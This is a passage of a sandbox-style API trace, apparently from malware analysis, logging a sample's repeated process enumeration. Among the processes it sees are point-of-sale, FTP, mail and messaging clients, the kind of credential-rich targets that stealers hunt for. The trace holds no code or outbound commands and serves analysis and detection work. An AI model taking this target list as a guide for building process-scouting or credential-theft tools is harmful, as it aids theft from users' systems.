dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0295.107] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0295.109] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0295.111] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0295.163] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0295.165] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0295.168] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0295.171] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0295.174] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0295.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0295.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0295.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0295.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0295.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0295.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0295.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0295.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0295.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0295.196] CloseHandle (hObject=0x344) returned 1 [0295.196] Sleep (dwMilliseconds=0x64) [0295.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0295.253] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.255] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0295.256] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0295.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.260] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0295.261] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.263] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0295.265] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0295.266] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0295.268] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.328] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.330] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0295.391] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.395] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.397] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.400] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.401] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.403] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.405] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.407] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0295.412] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0295.413] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0295.415] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.417] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0295.418] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0295.420] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0295.422] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0295.423] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.476] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0295.479] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0295.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0295.482] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0295.483] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0295.485] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0295.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0295.489] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0295.491] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0295.492] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0295.494] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0295.496] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0295.498] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0295.499] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0295.501] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0295.502] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0295.505] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0295.506] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0295.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0295.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0295.511] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0295.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0295.514] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0295.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0295.517] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0295.567] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0295.569] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0295.572] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0295.573] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0295.575] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0295.577] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0295.579] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0295.582] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0295.584] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0295.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0295.588] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0295.591] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0295.593] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0295.595] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0295.598] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 